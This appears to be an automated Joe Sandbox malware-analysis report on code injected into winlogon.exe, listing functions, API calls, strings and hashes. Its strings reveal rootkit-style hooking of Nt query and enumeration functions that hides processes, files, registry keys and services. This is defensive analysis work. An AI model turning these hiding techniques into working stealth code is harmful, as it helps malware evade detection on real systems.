GetProcessHeap.KERNEL32 ref: 000001CA7D1E142F
HeapAlloc.KERNEL32 ref: 000001CA7D1E143D
StrCpyW.SHLWAPI ref: 000001CA7D1E145F
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1476
HeapFree.KERNEL32 ref: 000001CA7D1E1484

Strings

d, xrefs: 000001CA7D1E135A

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction ID: eb6008952899b97b8051d718b82bc20d5bbcb0e0e4275c00c506dc5afe1e136e
Opcode Fuzzy Hash: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction Fuzzy Hash: 9D519EB3A45B8886FB11CF62E44879A77A1FB89F89F844124DE4907719DF3DC445C742

Function 000001CA7D1E1D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D1E1D27

Part of subcall function 000001CA7D1E1FDC: GetModuleHandleA.KERNEL32 ref: 000001CA7D1E1FF4
Part of subcall function 000001CA7D1E1FDC: GetProcAddress.KERNEL32 ref: 000001CA7D1E2005

Part of subcall function 000001CA7D1E5B40: GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5B7B

Strings

EnumServicesStatusExW, xrefs: 000001CA7D1E1E19, 000001CA7D1E1E3A
NtQueryDirectoryFileEx, xrefs: 000001CA7D1E1DA4
NtEnumerateValueKey, xrefs: 000001CA7D1E1DDE
NtDeviceIoControlFile, xrefs: 000001CA7D1E1E5E
sechost.dll, xrefs: 000001CA7D1E1E41
ntdll.dll, xrefs: 000001CA7D1E1D35
NtQuerySystemInformation, xrefs: 000001CA7D1E1D4D
NtEnumerateKey, xrefs: 000001CA7D1E1DC1
NtQueryDirectoryFile, xrefs: 000001CA7D1E1D87
NtResumeThread, xrefs: 000001CA7D1E1D6A
advapi32.dll, xrefs: 000001CA7D1E1DFF, 000001CA7D1E1E20
EnumServiceGroupW, xrefs: 000001CA7D1E1DF8

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: 6f307895852f7b786f3821498888c26fba8df4c367dca315da073d0949d63b92
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: 4731B676986B4EA0FA06EF65E861FE47321BF4435EFC40057940902161AF7BC68AC3D3

Function 000001CA7D1ED398 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001CA7D1ED3A7
FlsGetValue.KERNEL32(?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED3BC
FlsSetValue.KERNEL32(?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED3DD
FlsSetValue.KERNEL32(?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED40A
FlsSetValue.KERNEL32(?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED41B
FlsSetValue.KERNEL32(?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED42C
SetLastError.KERNEL32 ref: 000001CA7D1ED447
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED47D
FlsSetValue.KERNEL32(?,?,00000001,000001CA7D1EF23C,?,?,?,?,000001CA7D1EC50F,?,?,?,?,?,000001CA7D1E7AC0), ref: 000001CA7D1ED49C

Part of subcall function 000001CA7D1EDC3C: HeapAlloc.KERNEL32 ref: 000001CA7D1EDC91

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED4C4

Part of subcall function 000001CA7D1EDCB4: HeapFree.KERNEL32 ref: 000001CA7D1EDCCA
Part of subcall function 000001CA7D1EDCB4: GetLastError.KERNEL32 ref: 000001CA7D1EDCD4

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED4D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001CA7D1F0FDB,?,?,?,000001CA7D1F09CC,?,?,?,000001CA7D1ECDBF), ref: 000001CA7D1ED4E6

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction ID: 84a83807c8b1dcbbbab807b3711b196746fe6fff5a948113775e8854d54f3998
Opcode Fuzzy Hash: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction Fuzzy Hash: 0C414A32B8434881FA5BA7215551BE931427F447AEFDC4724A9364A6D7EE2AD40153C3

Function 000001CA7D1E224C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001CA7D1E2261
GetCurrentProcessId.KERNEL32 ref: 000001CA7D1E226B

Part of subcall function 000001CA7D1E193C: OpenProcess.KERNEL32 ref: 000001CA7D1E195A
Part of subcall function 000001CA7D1E193C: IsWow64Process.KERNEL32 ref: 000001CA7D1E1970
Part of subcall function 000001CA7D1E193C: CloseHandle.KERNEL32 ref: 000001CA7D1E198B

CreateFileW.KERNEL32 ref: 000001CA7D1E22C4
WriteFile.KERNEL32 ref: 000001CA7D1E22EC
ReadFile.KERNEL32 ref: 000001CA7D1E230B
CloseHandle.KERNEL32 ref: 000001CA7D1E2314

Strings

\\.\pipe\wzchildproc64, xrefs: 000001CA7D1E2294
\\.\pipe\wzchildproc32, xrefs: 000001CA7D1E229B

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\wzchildproc32$\\.\pipe\wzchildproc64
API String ID: 2171963597-1908187885
Opcode ID: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction ID: d1bb669c19779ff73fe20c5d30a7fa6afff5cb1ee8683e7e0b0928f54559d9d6
Opcode Fuzzy Hash: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction Fuzzy Hash: C4218333A5474483F711CB24F454B9973A1FB897A9F900215DA5903BA8CF7DC549CF42

Function 000001CA7D1EAAF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CA7D1EAB4C

Part of subcall function 000001CA7D1EBA08: __GetUnwindTryBlock.LIBCMT ref: 000001CA7D1EBA4B
Part of subcall function 000001CA7D1EBA08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CA7D1EBA70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CA7D1EAC24
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CA7D1EAE73
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CA7D1EAF7F

Strings

csm, xrefs: 000001CA7D1EABCD
csm, xrefs: 000001CA7D1EAC47
csm, xrefs: 000001CA7D1EAB66

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: f31aed1ed36a3af1d3ce0fc3e67529aff71f3cc58c932523fe09cda7a5d9a8e8
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: F8D19D73A407888AFB62DB65E540BDD7BA0FB8578EF800105EE8957B95DB36C481C783

Function 000001CA7D1B9EF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CA7D1B9F4C

Part of subcall function 000001CA7D1BAE08: __GetUnwindTryBlock.LIBCMT ref: 000001CA7D1BAE4B
Part of subcall function 000001CA7D1BAE08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CA7D1BAE70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CA7D1BA024
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CA7D1BA273
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CA7D1BA37F

Strings

csm, xrefs: 000001CA7D1BA047
csm, xrefs: 000001CA7D1B9F66
csm, xrefs: 000001CA7D1B9FCD

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: ca0dda4068cd8d0100fe43f739cbc5f9adb731b21175f4b4e172cd38bb13ad7a
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: 69D18A73A40B488AFB629B65D580BDD77A0FB49B8CF800105EE8D57B96DB76C481C783

Function 000001CA7D1EF904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001CA7D1EFA80
GetProcAddress.KERNEL32 ref: 000001CA7D1EFA8C

Strings

api-ms-, xrefs: 000001CA7D1EF9CA
ext-ms-, xrefs: 000001CA7D1EF9DD

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: 31f0a2f5ea800dff5abde378d94a8cd71f19c1ee93edadf03dca32ece7988c86
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: 2A41D233B91B0852FA17CB56A804FD53391BFC9BE9FC94125DD099B784EA3AC4458383

Function 000001CA7D1E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D1E10B1
RegEnumValueW.ADVAPI32 ref: 000001CA7D1E1117
GetProcessHeap.KERNEL32 ref: 000001CA7D1E115A
HeapAlloc.KERNEL32 ref: 000001CA7D1E1168
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1185
HeapFree.KERNEL32 ref: 000001CA7D1E1193

Strings

d, xrefs: 000001CA7D1E10D6

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 0332acd1771d854494ee12fb43ad52b5304bce5d0e0612f73963db57a60a753a
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2741A1B3614B88C6F761CF21E444B9E77A1F788B89F448129DA8947758DF39C485CB42

Function 000001CA7D1ED5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001CA7D1ECD4E,?,?,?,?,?,?,?,?,000001CA7D1ED50D,?,?,00000001), ref: 000001CA7D1ED5F7
FlsSetValue.KERNEL32(?,?,?,000001CA7D1ECD4E,?,?,?,?,?,?,?,?,000001CA7D1ED50D,?,?,00000001), ref: 000001CA7D1ED616
FlsSetValue.KERNEL32(?,?,?,000001CA7D1ECD4E,?,?,?,?,?,?,?,?,000001CA7D1ED50D,?,?,00000001), ref: 000001CA7D1ED63E
FlsSetValue.KERNEL32(?,?,?,000001CA7D1ECD4E,?,?,?,?,?,?,?,?,000001CA7D1ED50D,?,?,00000001), ref: 000001CA7D1ED64F
FlsSetValue.KERNEL32(?,?,?,000001CA7D1ECD4E,?,?,?,?,?,?,?,?,000001CA7D1ED50D,?,?,00000001), ref: 000001CA7D1ED660

Strings

Y%, xrefs: 000001CA7D1ED616
1%, xrefs: 000001CA7D1ED63E

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: c227e7830e1f9c1d10eb2069a500807f369b07f3f1191aeb5736f632a5f76b06
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: 48114F72F8434881FA5B57226551BE971427F487EAFDC8324693D466D6EE2AC40243C3

Function 000001CA7D1E7520 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CA7D1E7548
__scrt_acquire_startup_lock.LIBCMT ref: 000001CA7D1E759A
_RTC_Initialize.LIBCMT ref: 000001CA7D1E75C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CA7D1E75EE
__scrt_release_startup_lock.LIBCMT ref: 000001CA7D1E7619

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: d61144fdfba89683a24292356ce87fc7abb84e217eee572a164a7874b7477b9c
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 0481A133F8034D46FA53AB65A441FD97690BF85B8EFD44015AA8847396EB3AC846C7C3

Function 000001CA7D1B6920 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CA7D1B6948
__scrt_acquire_startup_lock.LIBCMT ref: 000001CA7D1B699A
_RTC_Initialize.LIBCMT ref: 000001CA7D1B69C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CA7D1B69EE
__scrt_release_startup_lock.LIBCMT ref: 000001CA7D1B6A19

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: 48fcc366b1401c45def13d2372391de8a34e7c7d4babd9e2966067a0c4afb970
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 6E81D433F8430C8AFA52AB25A451BE93690FFA578CFD49015DA4C5B796DB3BC8418783

Function 000001CA7D1EA148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001CA7D1EA1CD
GetLastError.KERNEL32 ref: 000001CA7D1EA1DB
LoadLibraryExW.KERNEL32 ref: 000001CA7D1EA205
FreeLibrary.KERNEL32 ref: 000001CA7D1EA273
GetProcAddress.KERNEL32 ref: 000001CA7D1EA27F

Strings

api-ms-, xrefs: 000001CA7D1EA1ED

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: 7c5023be7fac9642ddbe2c1919178884c2059021b75bd1e11dad0deec76e08b7
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: 5A31CD33A82709A1FE539B82E900BD43394BF45BA9F990624DD1E1B390DF3BC4488383

Function 000001CA7D1F4324 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001CA7D1F4355
GetLastError.KERNEL32 ref: 000001CA7D1F4361
CloseHandle.KERNEL32 ref: 000001CA7D1F4379
CreateFileW.KERNEL32 ref: 000001CA7D1F43A4
WriteConsoleW.KERNEL32 ref: 000001CA7D1F43C3

Strings

CONOUT$, xrefs: 000001CA7D1F4385

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction ID: 8cd734ec53eb78cc3d0a3b69bc30624e61f32c92dd456ae9b483cf1a75deebc3
Opcode Fuzzy Hash: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction Fuzzy Hash: B111B632B54B5883F3528B52F844B9972A0FB88FE8F940224EE5A87794DF39C404C787

Function 000001CA7D1E14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E14CA
HeapFree.KERNEL32 ref: 000001CA7D1E14D9
GetProcessHeap.KERNEL32 ref: 000001CA7D1E14E6
HeapFree.KERNEL32 ref: 000001CA7D1E14F5
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1505

Strings

C:\Windows\system32\winlogon.exe, xrefs: 000001CA7D1F61A9, 000001CA7D1F61B1

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\winlogon.exe
API String ID: 3168794593-3603389050
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: 4ccaf887a55ef58bd9d03d6c91a2764e157fb7b8694f785958393da1e073500b
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: E33180F798EBC88AF352CB7598556893BA0FBC5F48F898015DA4403347DA26D404C783

Function 000001CA7D1ED510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CA7D1ED51F
FlsSetValue.KERNEL32(?,?,?,000001CA7D1EDC25,?,?,?,?,000001CA7D1EDCE8), ref: 000001CA7D1ED555
FlsSetValue.KERNEL32(?,?,?,000001CA7D1EDC25,?,?,?,?,000001CA7D1EDCE8), ref: 000001CA7D1ED582
FlsSetValue.KERNEL32(?,?,?,000001CA7D1EDC25,?,?,?,?,000001CA7D1EDCE8), ref: 000001CA7D1ED593
FlsSetValue.KERNEL32(?,?,?,000001CA7D1EDC25,?,?,?,?,000001CA7D1EDCE8), ref: 000001CA7D1ED5A4
SetLastError.KERNEL32 ref: 000001CA7D1ED5BF

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: bffa12124b6869ef26d18b49398ff8f6b3a0fec7e1b25ada04cfb4b0cc7ceba9
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: CD118C32B8834882FA17A3216551BE932627F447FEFDC4724A936477D6EE6AC40183C3

Function 000001CA7D1E19A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001CA7D1E19CA
K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D1E19E8
PathFindFileNameW.SHLWAPI ref: 000001CA7D1E19F7
lstrlenW.KERNEL32 ref: 000001CA7D1E1A03
StrCpyW.SHLWAPI ref: 000001CA7D1E1A16
CloseHandle.KERNEL32 ref: 000001CA7D1E1A24

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: 576a392f1f9a9d95cfcc6bc41593a475a6a70078ac4ae8bda41fbae5dd04e06d
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: E8015B32B45B8886FA11DB52A458B9973A1FB88FC9F884034DE4D43754DF3DC989C782

Function 000001CA7D1E36DC Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001CA7D1E36F8
GetCurrentProcess.KERNEL32 ref: 000001CA7D1E3706
VirtualProtectEx.KERNEL32 ref: 000001CA7D1E3728
GetCurrentProcess.KERNEL32 ref: 000001CA7D1E3746
VirtualProtectEx.KERNEL32 ref: 000001CA7D1E3767
TerminateThread.KERNEL32 ref: 000001CA7D1E3776

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction ID: f8fd27e83b1b72d7f2ce0b504b08d324a200ef1283ed7fae9fb318232fc037c0
Opcode Fuzzy Hash: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction Fuzzy Hash: C7012176F5274882FB269B51E818B9A72A0FF55F8AF940125C94907754EF3FC4088783

Function 000001CA7D1E1A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001CA7D1E1A68
StrCmpNIW.SHLWAPI ref: 000001CA7D1E1A82
lstrlenW.KERNEL32 ref: 000001CA7D1E1A91
StrCpyW.SHLWAPI ref: 000001CA7D1E1AA6

Strings

\\?\, xrefs: 000001CA7D1E1A76

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: 9b292f6370f99936f14c50318c372ff85e96ef2d1b34f4f60cf33b36db74d0c7
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: B8F0AF3374478892FB218B61F894FA97760FB88B8CFC44020CA4942954DF7EC688CB42

Function 000001CA7D1EC208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001CA7D1EC22D
GetProcAddress.KERNEL32 ref: 000001CA7D1EC243
FreeLibrary.KERNEL32 ref: 000001CA7D1EC26A

Strings

mscoree.dll, xrefs: 000001CA7D1EC224
CorExitProcess, xrefs: 000001CA7D1EC23C

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: 2955cdbca312dcd7e5497ff0c8f4b5f7647af41f3e71c17895f5000dcf043701
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
